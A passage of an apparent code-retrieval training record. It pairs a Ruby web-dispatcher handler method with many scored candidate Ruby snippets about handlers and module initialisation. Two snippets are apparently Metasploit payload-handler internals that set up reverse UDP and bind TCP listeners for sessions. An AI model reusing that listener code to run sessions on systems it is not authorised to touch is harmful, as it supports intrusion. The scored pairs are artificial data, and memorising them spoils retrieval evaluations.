"def setup_default_handlers\n # Incoming events\n prepend_handler :incoming_msg, self.method(:r_msg)\n prepend_handler :incoming_act, self.method(:r_act)\n prepend_handler :incoming_notice, self.method(:r_notice)\n prepend_handler :incoming_ctcp, self.method(:r_ctcp)\n prepend_handler :incoming_ctcpreply, self.method(:r_ctcpreply)\n prepend_handler :incoming_mode, self.method(:r_mode)\n prepend_handler :incoming_join, self.method(:r_join)\n prepend_handler :incoming_part, self.method(:r_part)\n prepend_handler :incoming_kick, self.method(:r_kick)\n prepend_handler :incoming_quit, self.method(:r_quit)\n prepend_handler :incoming_nick, self.method(:r_nick)\n prepend_handler :incoming_miscellany, self.method(:r_miscellany)\n\n # Incoming numeric events here\n prepend_handler :incoming_welcome, self.method(:r_welcome)\n prepend_handler :incoming_bannedfromchan, self.method(:r_bannedfromchan)\n prepend_handler :incoming_badchannelkey, self.method(:r_badchannelkey)\n prepend_handler :incoming_nicknameinuse, self.method(:_nicknameinuse)\n prepend_handler :incoming_channelurl, self.method(:r_channelurl)\n prepend_handler :incoming_topic, self.method(:r_topic)\n prepend_handler :incoming_topicinfo, self.method(:r_topicinfo)\n prepend_handler :incoming_namreply, self.method(:_namreply)\n prepend_handler :incoming_endofnames, self.method(:r_endofnames)\n prepend_handler :incoming_motd, self.method(:r_motd)\n prepend_handler :incoming_motdstart, self.method(:r_motdstart)\n prepend_handler :incoming_endofmotd, self.method(:r_endofmotd)\n prepend_handler :incoming_invite, self.method(:r_invite)\n\n # Outgoing events\n prepend_handler :outgoing_begin_connection, self.method(:out_begin_connection)\n end",
"def add_handler(opts={})\n end",
"def initialize\n super\n log.trace \"splunk-http-eventcollector(initialize) called\"\n require 'net/http/persistent'\n require 'openssl'\n end",
"def initialize(opts={}) \n env = opts[:env] || ENV\n @rootdir = opts[:rootdir] || opts['rootdir']\n @reactor = opts[:reactor] ||= Reactor.new(self)\n lang = opts[:language] ||= (env['LANG']||'en_US').gsub(/\\..*/, '')\n lang = lang.gsub '_', '-'\n \n\n super(opts) do |ctx|\n ctx['ENV'] = env.to_hash\n ctx['ENV']['SPADE_PLATFORM'] = { 'ENGINE' => 'spade' }\n ctx['ENV']['LANG'] = lang\n \n ctx['ARGV'] = opts[:argv] || ARGV\n \n # Load spade and patch in compiler and loader plugins\n ctx.load(TIKIJS_PATH)\n ctx['rubyLoader'] = Loader.new(self)\n ctx['rubyCompiler'] = Compiler.new(self)\n \n ctx.eval %[\n spade.loader = rubyLoader;\n spade.compiler = rubyCompiler;\n spade.defaultSandbox.rootdir = #{@rootdir.to_json};\n spade.globalize();\n ]\n\n ctx['rubyLoader'] = ctx['rubyCompiler'] = nil\n \n @reactor.start do\n yield(self) if block_given?\n end\n \n end\n end",
"def _init(explaination='no explaination given', initial_debug_state = $DEBUG_INIT)\n $RELOAD_DEBUG = false # \n deb \"pre init '#{explaination}'\" if $RELOAD_DEBUG\n $INIT_DEBUG = false # dice se debuggare la mia intera infrastruttura o no...\n $RELOADED_ONCE = 0 # aiuta a capuire quante volte includo sta cazo di lib! Sempre 2!!!\n $RIC_LIB_MODULES = %w{ classes/debug_ric } # to be explicitly included in this order.\n $HOME = File.expand_path('~')\n $DEBUG ||= initial_debug_state \n $PROG = File.basename($0)\n case $PROG\n when 'irb'\n print \"[DEB] Welcome to Sakura within IRB! Happy playing. Try 'Sakuric.VERSION'\"\n when 'ruby'\n print \"[DEB] Welcome to Sakura within RUBY! Happy playing. Try 'Sakuric.VERSION'\"\n default\n # do nothing\n end\n \n ################################################################################\t\n # Path to riccardo's Library... Library stuff\n $LOAD_PATH << './lib' \n $LOAD_PATH << \"#{$SAKURADIR}/lib/\"\n\n # BEWARE: ORDER *IS* RELEVANT!\n $RICLIB = Hash.new unless defined?($RICLIB)\n $RICLIB['VERSION'] = $RICLIB_VERSION\n $RICLIB['libs'] ||= []\n $RICLIB['nreloaded'] ||= 0\n $RICLIB['nreloaded'] += 1 \n $RICLIB['help'] =<<-BURIDONE\nThis library contains all my enciclopedic knowledge (that is, notionistic). :\nFinally solved the bug of double inclusion (crisbio, files included this!)\nBURIDONE\n\n load_sakura_modules!(initial_debug_state)\n $CONF = RicConf.new()\n pyellow($CONF.info()) if debug?() \n puts \"post init delle #{Time.now}\" if $RELOAD_DEBUG\n print \"Sakuric.n_called(): #{ Sakuric.n_called() }\"\nend",
"def __init__ context\n function = Virtual::CompiledMethod.new(:__init__ , [] , Virtual::Integer)\n clazz = Virtual::BootSpace.space.get_or_create_class :Kernel\n method = clazz.resolve_method :main\n me = Virtual::Self.new(Virtual::Reference)\n code = Virtual::Set.new(Virtual::Self.new(me.type), me)\n function.add_code(code)\n function.add_code Virtual::MethodCall.new(method)\n return function\n end",
"def initialize modname, lang\n require 'rubygems'\n require 'platform'\n\n @cpu = Platform::ARCH\n @os = Platform::OS\n\n if @os == :unix then # we need to be more specific\n @os = Platform::IMPL\n end\n\n @vars = Hash.new\n setup_toolset\n setup_paths modname\n setup_conf lang, modname\n end",
"def setup\n super\n @append_a = Module.new\n @append_a.define_singleton_method(:call) do |thing|\n thing << 'a'\n thing\n end\n\n @append_b = Class.new\n @append_b.define_singleton_method(:call) do |thing|\n thing << 'b'\n thing\n end\n\n @append_c = lambda do |thing|\n thing << 'c'\n thing\n end\n end",
"def initialize(&block)\n self.class.inst = self\n\n # Search the root of the project for required files\n $LOAD_PATH.unshift(root) unless $LOAD_PATH.include?(root)\n\n super\n\n ::Middleman::Extension.clear_after_extension_callbacks\n\n ::Middleman::Extensions.auto_activate(:before_configuration, self)\n\n if config[:autoload_sprockets]\n begin\n require 'middleman-sprockets'\n activate :sprockets\n rescue LoadError\n # It's OK if somebody is using middleman-core without middleman-sprockets\n end\n end\n\n run_hook :initialized\n\n run_hook :before_configuration\n\n # Evaluate a passed block if given\n config_context.instance_exec(&block) if block_given?\n\n # Check for and evaluate local configuration in `config.rb`\n local_config = File.join(root, 'config.rb')\n if File.exist? local_config\n logger.debug '== Reading: Local config'\n config_context.instance_eval File.read(local_config), local_config, 1\n end\n\n env_config = File.join(root, 'environments', \"#{config[:environment]}.rb\")\n if File.exist? env_config\n logger.debug \"== Reading: #{config[:environment]} config\"\n config_context.instance_eval File.read(env_config), env_config, 1\n end\n\n config_context.execute_configure_callbacks(config[:environment])\n\n run_hook :instance_available\n\n # This is for making the tests work - since the tests\n # don't completely reload middleman, I18n.load_path can get\n # polluted with paths from other test app directories that don't\n # exist anymore.\n if ENV['TEST']\n ::I18n.load_path.delete_if { |path| path =~ %r{tmp/aruba} }\n ::I18n.reload!\n end\n\n run_hook :after_configuration\n config_context.execute_after_configuration_callbacks\n\n extension_instances = []\n logger.debug 'Loaded extensions:'\n extensions.each do |ext_name, ext|\n if ext.is_a?(Hash)\n ext.each do |instance_key, instance|\n logger.debug \"== Extension: #{ext_name} #{instance_key}\"\n extension_instances << instance\n end\n else\n logger.debug \"== Extension: #{ext_name}\"\n extension_instances << ext\n end\n end\n\n extension_instances.each do |ext|\n # Forward Extension helpers to TemplateContext\n Array(ext.class.defined_helpers).each do |m|\n @template_context_class.send(:include, m)\n end\n\n ::Middleman::Extension.activated_extension(ext)\n end\n end",
"def pre_soft_load(mod); end",
"def setup_xmlrpc_handlers\n @server.register('/RPC2', Puppet::Network::HTTPServer::Mongrel.new(@xmlrpc_handlers))\n end",
"def handlers_start(handler_count)\n end",
"def initialize_http_handler(args = {})\n @http = HTTPHandler.new(args)\n logger.debug { \"Connection Set: #{http.to_s}\" }\n end",
"def initialize_http_handler(args = {})\n @http = HTTPHandler.new(args)\n logger.debug { \"Connection Set: #{http.to_s}\" }\n end",
"def dynamic_loadable_module\n super\n end",
"def initialize(args,*options)\n super\n full_name = file_name.underscore\n\n @module_name = full_name.split('_').last\n @module_path = 'modules/' + full_name\n\n end",
"def extend( *modules )\n\t\tsuper\n\t\tmodules.each do |mod|\n\t\t\tmod.instance_method( :initialize ).bind( self ).call if\n\t\t\t\tmod.private_instance_methods.map( &:to_sym ).include?( :initialize )\n\t\tend\n\tend",
"def post_soft_load(mod); end",
"def rexval_modules_hook!\n yield\n end",
"def initialize\n super\n self.scripts = []\n self.template_paths = []\n self.libraries = {}\n self.options = SymbolHash.new(false).update(\n :single_library => true,\n :caching => false\n )\n self.server_options = {:Port => 8808}\n end",
"def initialize_handler_enums\n ContainerInstanceHandler.renew\n DigitalObjectHandler.renew\n SubjectHandler.renew\n end",
"def modules; end",
"def modules; end",
"def modules; end",
"def handler( req )\n\t\treq.content_type = \"text/plain\"\n\t\treq.puts \"In content handler.\"\n\t\treq.server.log_error \"StageLogger {%d}>> RubyHandler: handler(%p)\" % [\n\t\t\tProcess.pid,\n\t\t\treq\n\t\t ]\n\n\t\treturn Apache::OK\n\tend",
"def initialize runner,params\n\n if !params[:privMsg].nil?\n @name = params[:klass]::Name\n @runner = runner\n begin\n instKlass = params[:klass].new(@runner)\n instKlass.startMod\n @instance = instKlass\n rescue Exception\n answer(params[:privMsg],\"Problem when loading the module\")\n talk(params[:privMsg].who,$!) \n p $!\n raise $!\n end\n else\n @name=params[:name]\n @instance=params[:instance]\n end\n end",
"def define_handler(*extensions, &block)\n @handlers += extensions.map { |ext| [ext, block] }\n end",
"def override_execute(mod, hbsession, opts); end",
"def child_init( request )\n @conn = PGconn.connect( \"host=localhost dbname=test\" )\n request.server.log_info \"Preconnect done: %p\" % [ @conn ]\n return Apache::OK\n end",
"def setup_handler\n ex = false\n\n comm = case datastore['ReverseListenerComm'].to_s\n when \"local\"; ::Rex::Socket::Comm::Local\n when /\\A[0-9]+\\Z/; framework.sessions[datastore['ReverseListenerComm'].to_i]\n else; nil\n end\n unless comm.is_a? ::Rex::Socket::Comm\n comm = nil\n end\n\n local_port = bind_port\n addrs = bind_address\n\n addrs.each { |ip|\n begin\n\n self.listener_sock = Rex::Socket::Udp.create(\n 'LocalHost' => ip,\n 'LocalPort' => local_port,\n 'Comm' => comm,\n 'Context' =>\n {\n 'Msf' => framework,\n 'MsfPayload' => self,\n 'MsfExploit' => assoc_exploit\n })\n\n ex = false\n\n comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip )\n comm_used = Rex::Socket::Comm::Local if comm_used == nil\n\n if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) )\n via = \"via the #{comm_used.type} on session #{comm_used.sid}\"\n else\n via = \"\"\n end\n\n print_status(\"Started #{human_name} handler on #{ip}:#{local_port} #{via}\")\n break\n rescue\n ex = $!\n print_error(\"Handler failed to bind to #{ip}:#{local_port}\")\n end\n }\n raise ex if (ex)\n end",
"def on_module_reload(mod)\n end",
"def initialize automount = false, &proc\n @routes = []\n @controllers, @subcontrollers = {}, []\n @hosts, @controllers_hosts = {}, {}\n @automount = automount\n proc && self.instance_exec(&proc)\n use ExtendedRack\n compiler_pool(Hash.new)\n end",
"def start(env=ENV, stdin=$stdin, stdout=$stdout)\n sock = WEBrick::CGI::Socket.new(@config, env, stdin, stdout)\n req = HTTPRequest.new(@config)\n res = HTTPResponse.new(@config)\n unless @config[:NPH] or defined?(MOD_RUBY)\n def res.setup_header\n unless @header[\"status\"]\n phrase = HTTPStatus::reason_phrase(@status)\n @header[\"status\"] = \"#{@status} #{phrase}\"\n end\n super\n end\n def res.status_line\n \"\"\n end\n end\n\n begin\n req.parse(sock)\n req.script_name = (env[\"SCRIPT_NAME\"] || File.expand_path($0)).dup\n req.path_info = (env[\"PATH_INFO\"] || \"\").dup\n req.query_string = env[\"QUERY_STRING\"]\n req.user = env[\"REMOTE_USER\"]\n res.request_method = req.request_method\n res.request_uri = req.request_uri\n res.request_http_version = req.http_version\n res.keep_alive = req.keep_alive?\n self.service(req, res)\n rescue HTTPStatus::Error => ex\n res.set_error(ex)\n rescue HTTPStatus::Status => ex\n res.status = ex.code\n rescue Exception => ex\n @logger.error(ex)\n res.set_error(ex, true)\n ensure\n req.fixup\n if defined?(MOD_RUBY)\n res.setup_header\n Apache.request.status_line = \"#{res.status} #{res.reason_phrase}\"\n Apache.request.status = res.status\n table = Apache.request.headers_out\n res.header.each{|key, val|\n case key\n when /^content-encoding$/i\n Apache::request.content_encoding = val\n when /^content-type$/i\n Apache::request.content_type = val\n else\n table[key] = val.to_s\n end\n }\n res.cookies.each{|cookie|\n table.add(\"Set-Cookie\", cookie.to_s)\n }\n Apache.request.send_http_header\n res.send_body(sock)\n else\n res.send_response(sock)\n end\n end\n end",
"def post_init\n child.on_start\n end",
"def init_file; end",
"def initialize (settings = {})\n # {{{\n @header = {}\n @cookies = {}\n @get = {}\n @post = {}\n\n # Internal attributes\n @status = nil\n @reasonPhrase = nil\n @setcookies = []\n @output_started = false;\n @output_allowed = false;\n\n @mod_ruby = false\n @env = ENV.to_hash\n\n if defined?(MOD_RUBY)\n @output_method = \"mod_ruby\"\n @mod_ruby = true\n elsif @env['SERVER_SOFTWARE'] =~ /^Microsoft-IIS/i\n @output_method = \"nph\"\n else\n @output_method = \"ph\"\n end\n\n unless settings.is_a?(Hash)\n raise TypeError, \"settings must be a Hash\"\n end\n @settings = settings\n\n unless @settings.has_key?(\"safe\")\n @settings[\"safe\"] = 1\n end\n\n if $SAFE < @settings[\"safe\"]\n $SAFE = @settings[\"safe\"]\n end\n\n unless @settings.has_key?(\"cache\")\n @settings[\"cache\"] = false\n end\n\n # mod_ruby sets no QUERY_STRING variable, if no GET-Parameters are given\n unless @env.has_key?(\"QUERY_STRING\")\n @env[\"QUERY_STRING\"] = \"\"\n end\n\n # Now we split the QUERY_STRING by the seperators & and ; or, if\n # specified, settings['get seperator']\n unless @settings.has_key?(\"get seperator\")\n get_args = @env['QUERY_STRING'].split(/[&;]/)\n else\n get_args = @env['QUERY_STRING'].split(@settings['get seperator'])\n end\n\n get_args.each do | arg |\n arg_key, arg_val = arg.split(/=/, 2)\n arg_key = Rweb::unescape(arg_key)\n arg_val = Rweb::unescape(arg_val)\n\n # Parse names like name[0], name['text'] or name[]\n pattern = /^(.+)\\[(\"[^\\]]*\"|'[^\\]]*'|[0-9]*)\\]$/\n keys = []\n while match = pattern.match(arg_key)\n arg_key = match[1]\n keys = [match[2]] + keys\n end\n keys = [arg_key] + keys\n\n akt = @get\n last = nil\n lastkey = nil\n keys.each do |key|\n if key == \"\"\n # No key specified (like in \"test[]\"), so we use the\n # lowerst unused Integer as key\n key = 0\n while akt.has_key?(key)\n key += 1\n end\n elsif /^[0-9]*$/ =~ key\n # If the index is numerical convert it to an Integer\n key = key.to_i\n elsif key[0].chr == \"'\" || key[0].chr == '\"'\n key = key[1, key.length() -2]\n end\n if !akt.has_key?(key) || !akt[key].class == Hash\n # create an empty Hash if there isn't already one\n akt[key] = {}\n end\n last = akt\n lastkey = key\n akt = akt[key]\n end\n last[lastkey] = arg_val\n end\n\n if @env['REQUEST_METHOD'] == \"POST\"\n if @env.has_key?(\"CONTENT_TYPE\") && @env['CONTENT_TYPE'] == \"application/x-www-form-urlencoded\" && @env.has_key?('CONTENT_LENGTH')\n unless @settings.has_key?(\"post seperator\")\n post_args = $stdin.read(@env['CONTENT_LENGTH'].to_i).split(/[&;]/)\n else\n post_args = $stdin.read(@env['CONTENT_LENGTH'].to_i).split(@settings['post seperator'])\n end\n post_args.each do | arg |\n arg_key, arg_val = arg.split(/=/, 2)\n arg_key = Rweb::unescape(arg_key)\n arg_val = Rweb::unescape(arg_val)\n\n # Parse names like name[0], name['text'] or name[]\n pattern = /^(.+)\\[(\"[^\\]]*\"|'[^\\]]*'|[0-9]*)\\]$/\n keys = []\n while match = pattern.match(arg_key)\n arg_key = match[1]\n keys = [match[2]] + keys\n end\n keys = [arg_key] + keys\n\n akt = @post\n last = nil\n lastkey = nil\n keys.each do |key|\n if key == \"\"\n # No key specified (like in \"test[]\"), so we use\n # the lowerst unused Integer as key\n key = 0\n while akt.has_key?(key)\n key += 1\n end\n elsif /^[0-9]*$/ =~ key\n # If the index is numerical convert it to an Integer\n key = key.to_i\n elsif key[0].chr == \"'\" || key[0].chr == '\"'\n key = key[1, key.length() -2]\n end\n if !akt.has_key?(key) || !akt[key].class == Hash\n # create an empty Hash if there isn't already one\n akt[key] = {}\n end\n last = akt\n lastkey = key\n akt = akt[key]\n end\n last[lastkey] = arg_val\n end\n else\n # Maybe we should print a warning here?\n $stderr.print(\"Unidentified form data recived and discarded.\")\n end\n end\n\n if @env.has_key?(\"HTTP_COOKIE\")\n cookie = @env['HTTP_COOKIE'].split(/; ?/)\n cookie.each do | c |\n cookie_key, cookie_val = c.split(/=/, 2)\n\n @cookies [Rweb::unescape(cookie_key)] = Rweb::unescape(cookie_val)\n end\n end\n\n if defined?(@env['HTTP_USER_AGENT'])\n @user_agent = @env['HTTP_USER_AGENT']\n else\n @user_agent = nil;\n end\n\n if defined?(@env['REMOTE_ADDR'])\n @remote_addr = @env['REMOTE_ADDR']\n else\n @remote_addr = nil\n end\n # }}}\n end",
"def start_handler\n\n\t\t# Maximum number of seconds to run the handler\n\t\tctimeout = 150\n\t\t\n\t\tif (exploit_config and exploit_config['active_timeout'])\n\t\t\tctimeout = exploit_config['active_timeout'].to_i\n\t\tend\n\t\n\t\t# Take a copy of the datastore options\n\t\trhost = datastore['RHOST']\n\t\tlport = datastore['LPORT']\n\t\t\n\t\t# Ignore this if one of the required options is missing\n\t\treturn if not rhost\n\t\treturn if not lport\n\t\n\t\t# Only try the same host/port combination once\n\t\tphash = rhost + ':' + lport.to_s\n\t\treturn if self.listener_pairs[phash]\n\t\tself.listener_pairs[phash] = true\n\n\t\t# Start a new handling thread\n\t\tself.listener_threads << Thread.new {\n\t\t\tclient = nil\n\t\t\t\n\t\t\tprint_status(\"Started bind handler\")\n\n\t\t\tif (rhost == nil)\n\t\t\t\traise ArgumentError, \n\t\t\t\t\t\"RHOST is not defined; bind stager cannot function.\",\n\t\t\t\t\tcaller\n\t\t\tend\n\n\t\t\tstime = Time.now.to_i\n\t\t\t\n\t\t\twhile (stime + ctimeout > Time.now.to_i)\n\t\t\t\tbegin\n\t\t\t\t\tclient = Rex::Socket::Tcp.create(\n\t\t\t\t\t\t'PeerHost' => rhost,\n\t\t\t\t\t\t'PeerPort' => lport.to_i,\n\t\t\t\t\t\t'Proxies' => datastore['Proxies'],\n\t\t\t\t\t\t'Context' =>\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t'Msf' => framework,\n\t\t\t\t\t\t\t\t'MsfPayload' => self,\n\t\t\t\t\t\t\t\t'MsfExploit' => assoc_exploit\n\t\t\t\t\t\t\t})\n\t\t\t\trescue Rex::ConnectionRefused\n\t\t\t\t\t# Connection refused is a-okay\n\t\t\t\trescue ::Exception\n\t\t\t\t\twlog(\"Exception caught in bind handler: #{$!}\")\n\t\t\t\tend\n\n\t\t\t\tbreak if client\n\n\t\t\t\t# Wait a second before trying again\n\t\t\t\tRex::ThreadSafe.sleep(0.5)\n\t\t\tend\n\n\t\t\t# Valid client connection?\n\t\t\tif (client)\n\t\t\t\n\t\t\t\t# Increment the has connection counter\n\t\t\t\tself.pending_connections += 1\n\t\t\t\t\n\t\t\t\t# Start a new thread and pass the client connection\n\t\t\t\t# as the input and output pipe. Client's are expected\n\t\t\t\t# to implement the Stream interface.\n\t\t\t\tconn_threads << Thread.new {\n\t\t\t\t\tbegin\n\t\t\t\t\t\thandle_connection(client)\n\t\t\t\t\trescue\n\t\t\t\t\t\telog(\"Exception raised from BindTcp.handle_connection: #{$!}\")\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\telse\n\t\t\t\twlog(\"No connection received before the handler completed\")\n\t\t\tend\n\t\t}\n\tend",
"def ruby_engine; end",
"def ruby_engine; end",
"def on_module(node)\n define_module(node, DefinitionBuilder::RubyModule)\n end",
"def _handlers\n @handlers ||= {}\n end",
"def handler_method; end",
"def define_handler(*extensions, &block)\n Figgy::Root.handlers += extensions.map { |ext| [ext, block] }\n end",
"def set_request_handler(&blk) @req_handler = blk; nil end",
"def initialize\n @hook = ISAHooker.new\n @parser = ISADefParser.new\n\n @parser.set_isa_hook() do |action, args|\n if @hook.methods.include? action\n @hook.method(action).call(args)\n end\n end\n end",
"def init\n Runner.in_shell = true\n Command.all_option_commands = true if @options[:option_commands]\n super\n Index.update(:verbose=>true, :libraries=>@options[:index]) if @options.key?(:index)\n if @options[:load]\n Manager.load @options[:load], load_options\n elsif @options[:execute]\n define_autoloader\n else\n load_command_by_index\n end\n end",
"def run(*args,&ruby_block)\n # Gain access to the runner as local variable.\n runner_proc = @runner_proc\n # Execute the code generating the accesser in context.\n HDLRuby::High.space_push(@namespace)\n HDLRuby::High.cur_block.open do\n instance_exec(ruby_block,*args,&runner_proc)\n end\n HDLRuby::High.space_pop\n end",
"def InitializeHooks\n end"
] | [
"0.6527672",
"0.6343741",
"0.60680014",
"0.6045966",
"0.60007477",
"0.5947786",
"0.5908477",
"0.58676946",
"0.58233744",
"0.57887036",
"0.576995",
"0.57551587",
"0.5745718",
"0.57081825",
"0.57081825",
"0.57081825",
"0.56404185",
"0.56272376",
"0.5536905",
"0.553318",
"0.55239886",
"0.5520887",
"0.5520887",
"0.55197674",
"0.54933316",
"0.5486655",
"0.548337",
"0.5481996",
"0.54771405",
"0.5476641",
"0.54754144",
"0.54657865",
"0.544408",
"0.54430777",
"0.54391176",
"0.5430212",
"0.5424014",
"0.5422959",
"0.5408273",
"0.5401036",
"0.53913295",
"0.53840786",
"0.5379096",
"0.5375016",
"0.53685516",
"0.5358563",
"0.5354924",
"0.53541243",
"0.5333751",
"0.53300387",
"0.53299814",
"0.5328529",
"0.5321948",
"0.5321615",
"0.5317107",
"0.5315174",
"0.53149194",
"0.5307966",
"0.53027344",
"0.5302197",
"0.5298182",
"0.5295109",
"0.5290219",
"0.5272248",
"0.5266528",
"0.5266518",
"0.5252449",
"0.52393013",
"0.5232221",
"0.5231146",
"0.5214929",
"0.52036744",
"0.52026355",
"0.5192318",
"0.5192318",
"0.5192318",
"0.518779",
"0.51855385",
"0.5181485",
"0.5178578",
"0.5178123",
"0.5172423",
"0.5157638",
"0.5153672",
"0.5151677",
"0.5150831",
"0.5145182",
"0.5145038",
"0.51437277",
"0.5137327",
"0.5137327",
"0.5123938",
"0.51237655",
"0.51056886",
"0.5103423",
"0.51006466",
"0.50986373",
"0.50912625",
"0.50857025",
"0.5084921"
] | 0.5524966 | 20 |
The content handler method. Dispatches requests to registered applets based on the requests PATH_INFO. | def handler( req )
self.log.info "--- Dispatching request %p ---------------" % [req]
self.log.debug "Request headers are: %s" % [untable(req.headers_in)]
if (( reason = @config.changed_reason ))
self.log.notice "** Reloading configuration: #{reason} ***"
@config.reload
@broker = Arrow::Broker.new( @config )
self.configure( @config )
end
if ! @broker
self.log.error "Fatal: No broker."
return Apache::SERVER_ERROR
end
txn = Arrow::Transaction.new( req, @config, @broker )
self.log.debug "Delegating transaction %p" % [txn]
unless output = @broker.delegate( txn )
self.log.info "Declining transaction (Applets returned: %p)" % output
return Apache::DECLINED
end
# If the transaction succeeded, set up the Apache::Request object, add
# headers, add session state, etc. If it failed, log the failure and let
# the status be returned as-is.
response_body = nil
self.log.debug "Transaction has status %d" % [txn.status]
# Render the output before anything else, as there might be
# session/header manipulation left to be done somewhere in the
# render. If the response is true, the applets have handled output
# themselves.
if output && output != true
rendertime = Benchmark.measure do
response_body = output.to_s
end
self.log.debug "Output render time: %s" %
rendertime.format( '%8.4us usr %8.4ys sys %8.4ts wall %8.4r' )
req.headers_out['content-length'] = response_body.length.to_s unless
req.headers_out['content-length']
end
# If the transaction has a session, save it
txn.session.save if txn.session?
# Add cookies to the response headers
txn.add_cookie_headers
self.log.debug "HTTP response status is: %d" % [txn.status]
self.log.debug "Response headers were: %s" % [untable(req.headers_out)]
txn.send_http_header
txn.print( response_body ) if response_body
self.log.info "--- Done with request %p (%s)---------------" %
[ req, req.status_line ]
req.sync = true
return txn.handler_status
rescue ::Exception => err
self.log.error "Dispatcher caught an unhandled %s: %s:\n\t%s" %
[ err.class.name, err.message, err.backtrace.join("\n\t") ]
return Apache::SERVER_ERROR
ensure
# Make sure session locks are released
txn.session.finish if txn && txn.session?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def handler( req )\n\t\treq.content_type = \"text/plain\"\n\t\treq.puts \"In content handler.\"\n\t\treq.server.log_error \"StageLogger {%d}>> RubyHandler: handler(%p)\" % [\n\t\t\tProcess.pid,\n\t\t\treq\n\t\t ]\n\n\t\treturn Apache::OK\n\tend",
"def handle\n @response.layout = contained_view(\"info/layout.html.erb\")\n @response.content = contained_view(\"info/index.html.erb\")\n end",
"def do_dispatch(env)\n path = env['PATH_INFO']\n\n # Try to serve a public file\n ret = dispatch_public(env, path)\n return ret if not ret.nil?\n\n log.debug \"Checking for routes that match: #{path}\"\n route = router.match(env)\n\n if route.has_key? :ok\n dispatch_controller(route, env)\n else\n [404, {\"Content-Type\" => \"text/plain\"}, [\"404 Not Found: #{path}\"]]\n end\n end",
"def handle_request( * ) # :nodoc:\n\t\tself.log.debug \"[:restresources] handling request for REST resource.\"\n\t\tsuper\n\tend",
"def rack_app\n ctx = @context\n proc do |env|\n request_ctx = ctx.child\n request_ctx.templates = {}\n\n # If there are trailing slashes in path, don't dispatch\n if match = env['PATH_INFO'].match(/^(.+)(?<!\\$)\\/$/)\n\n # Remove trailing slash in the path and redirect\n loc = match[1]\n loc << \"?#{env['QUERY_STRING']}\" unless env['QUERY_STRING'].empty?\n [301, {'Location' => loc, 'Content-Type' => 'text/html; charset=utf-8'}, []]\n\n else\n\n # Dispatch controller chain for the current path\n request_ctx.env = env\n result = ::Tanuki::ControllerBehavior.dispatch(request_ctx, ctx.i18n ? ::Tanuki::I18n : ctx.root_page,\n Rack::Utils.unescape(env['PATH_INFO']).force_encoding('UTF-8'))\n\n # Handle dispatch result\n case result[:type]\n when :redirect then\n [302, {'Location' => result[:location], 'Content-Type' => 'text/html; charset=utf-8'}, []]\n when :page then\n [200, {'Content-Type' => 'text/html; charset=utf-8'}, build_body(result[:controller], request_ctx)]\n else\n [404, {'Content-Type' => 'text/html; charset=utf-8'}, build_body(result[:controller], request_ctx)]\n end\n\n end # if\n\n end\n end",
"def handle_routes\n instance_exec(@_roda_app.request, &self.class.router_block)\n end",
"def handle_request(request)\n if request =~ /^(\\w+)\\s+(.*)\\s+HTTP/ then\n r_type = $1.downcase.to_sym\n path = $2\n log(\"Request: [#{r_type}] '#{path}'\")\n found = false\n value = nil\n @handlers.each do |handler|\n if handler[:methods].index(r_type) != nil and handler[:expr].match(path) then\n found = true\n value = handler[:handler].call(self, path, Regexp.last_match)\n break\n end\n end\n (found and value) ? value : respond_resource_not_found(path)\n else\n make_response(type = \"text/html\", compressed = false, code = 400, msg = \"Bad Request\")\n end\n end",
"def handler_for_request(req)\n req.path =~ /^#{@url_prefix}\\/([^\\/]+)/\n\n return @entry_points[$1] || Borges::NotFoundHandler.new\n end",
"def handlers; end",
"def handlers; end",
"def handlers; end",
"def dispatch_action(request)\n method = request_method(request)\n path = request.path.sub(/\\.\\w+$/, '')\n route = @routing.detect { |r| r[0] == method && r[1] == path }\n route[2] if route\n end",
"def run(req, res)\n match_data = pattern.match(req.path)\n # hash = {}\n # match_data.names.each do |name|\n # hash[name] = match_data[name]\n # end\n hash = match_data.names.each_with_object({}) do |name, h|\n h[name] = match_data[name]\n end\n controller_class.new(req, res, hash).invoke_action(action_name)\n end",
"def process\n # run preload method (which user can subclass)\n preload\n # early out if render nothing is set or if there is already a redirection\n return if @redirect || @render_nothing\n # decide what method on the controller to call\n meth = nil\n if !@workingpath || !@requestpath ||\n ( @workingpath.length >= @requestpath.length && @workingpath.last == @requestpath.last )\n # i have a subtle disambiguation problem between a request for a method whose name\n # matches the controller name itself and a request for the index page - think more. TODO\n meth = \"index\"\n else\n # normal behavior is to pick a method that matches the leaf of the url passed\n # in ruby on rails this is done at the router level; in appwiki it is at controller scope\n meth = @requestpath.last\n @args = @requestpath.slice(@[email protected]+1)\n if !self.respond_to? meth\n @args = [ meth ]\n meth = \"default\"\n end\n end\n # go!\n if self.respond_to? meth\n send meth\n render :action => meth if !@redirect && !@render_nothing && !@rendered_template\n # TODO one design clumsiness here is that the controller method renders\n # directly to the output buffer, and then the layout erases that buffer and\n # then pipes it to itself... it would be better to have a more generalized\n # idea of diffent output buffers that then layout could composit together,\n # this would support the idea of many fragments making up a page and might\n # also help caching. even deferred computation of a fragment would be nice.\n end\n # do post load operations (including skinning)\n postload\n end",
"def handle\n @response.content = :'index.html'\n end",
"def handle!\n if collection == \"locations\"\n handle_location\n else\n self.glass_item_id = params[:itemId]\n handle_reply(params)\n handle_action\n end\n end",
"def run(request, response)\n\n match_data = @pattern.match(request.path)\n\n route_params = Hash[match_data.names.zip(match_data.captures)]\n\n @controller_class\n .new(request, response, route_params)\n .invoke_action(action_name)\n end",
"def process(request); end",
"def recognized_request_for(path, extras = T.unsafe(nil), msg); end",
"def http_get(request, response)\n # We're not using straight-up $_GET, because we want everything to be\n # unit testable.\n get_vars = request.query_parameters\n\n # CSP headers\n @server.http_response.update_header('Content-Security-Policy', \"img-src 'self'; style-src 'self';\")\n\n sabre_action = get_vars['sabreAction']\n\n case sabre_action\n when 'asset'\n # Asset handling, such as images\n serve_asset(get_vars['assetName'])\n return false\n when 'plugins'\n response.status = 200\n response.update_header('Content-Type', 'text/html; charset=utf-8')\n\n response.body = generate_plugin_listing\n return false\n else # includes \"when 'info'\"\n begin\n @server.tree.node_for_path(request.path)\n rescue Exception::NotFound => e\n # We're simply stopping when the file isn't found to not interfere\n # with other plugins.\n return nil\n end\n\n response.status = 200\n response.update_header('Content-Type', 'text/html; charset=utf-8')\n\n response.body = generate_directory_index(request.path)\n\n return false\n end\n end",
